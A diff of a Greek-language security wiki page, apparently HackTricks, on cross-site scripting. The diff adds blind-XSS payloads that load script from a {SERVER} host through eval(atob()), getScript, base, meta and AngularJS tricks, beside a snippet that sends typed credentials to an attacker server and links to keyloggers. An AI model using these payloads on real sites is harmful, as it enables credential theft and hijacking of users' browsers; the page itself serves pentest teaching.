<input name=username id=username>
|
||||||
@ -1378,11 +1378,11 @@ mode: 'no-cors',
|
|||||||
body:username.value+':'+this.value
|
body:username.value+':'+this.value
|
||||||
});">
|
});">
|
||||||
```
|
```
|
||||||
Όταν οποιαδήποτε δεδομένα εισάγονται στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα διαρρεύσουν.
|
Όταν εισάγονται δεδομένα στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα διαρρεύσουν.
|
||||||
|
|
||||||
### Keylogger
|
### Keylogger
|
||||||
|
|
||||||
Απλά ψάχνοντας στο github βρήκα μερικούς διαφορετικούς:
|
Αναζητώντας στο github βρήκα μερικούς διαφορετικούς:
|
||||||
|
|
||||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||||
@ -1471,10 +1471,35 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
|||||||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||||
|
|
||||||
|
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
|
||||||
|
<!-- Image tag -->
|
||||||
|
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||||
|
|
||||||
|
<!-- Input tag with autofocus -->
|
||||||
|
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||||
|
|
||||||
|
<!-- In case jQuery is loaded, we can make use of the getScript method -->
|
||||||
|
'"><script>$.getScript("{SERVER}/script.js")</script>
|
||||||
|
|
||||||
|
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
|
||||||
|
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
|
||||||
|
|
||||||
|
<!-- Render an iframe to validate your injection point and receive a callback -->
|
||||||
|
'"><iframe src="{SERVER}"></iframe>
|
||||||
|
|
||||||
|
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
|
||||||
|
<base href="{SERVER}" />
|
||||||
|
|
||||||
|
<!-- Make use of the meta-tag to initiate a redirect -->
|
||||||
|
<meta http-equiv="refresh" content="0; url={SERVER}" />
|
||||||
|
|
||||||
|
<!-- In case your target makes use of AngularJS -->
|
||||||
|
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||||
```
|
```
|
||||||
### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
|
### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
|
||||||
|
|
||||||
Από [**αυτή τη συγγραφή**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex:
|
Από [**αυτή την ανάλυση**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να τη βρούμε μετά την αφαίρεση της τιμής της εισόδου του regex:
|
||||||
```javascript
|
```javascript
|
||||||
// Do regex with flag
|
// Do regex with flag
|
||||||
flag = "CTF{FLAG}"
|
flag = "CTF{FLAG}"
|
||||||
@ -1497,7 +1522,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
|||||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## XSS Εκμετάλλευση άλλων ευπαθειών
|
## XSS Κατάχρηση άλλων ευπαθειών
|
||||||
|
|
||||||
### XSS σε Markdown
|
### XSS σε Markdown
|
||||||
|
|
||||||
@ -1518,8 +1543,8 @@ xss-in-markdown.md
|
|||||||
|
|
||||||
### XSS σε δυναμικά δημιουργημένο PDF
|
### XSS σε δυναμικά δημιουργημένο PDF
|
||||||
|
|
||||||
Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο κώδικα JS**.\
|
Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\
|
||||||
Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
|
Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **ερμηνεύσει** αυτά, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
server-side-xss-dynamic-pdf.md
|
server-side-xss-dynamic-pdf.md
|
||||||
@ -1612,5 +1637,6 @@ other-js-tricks.md
|
|||||||
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||||||
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||||
|
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user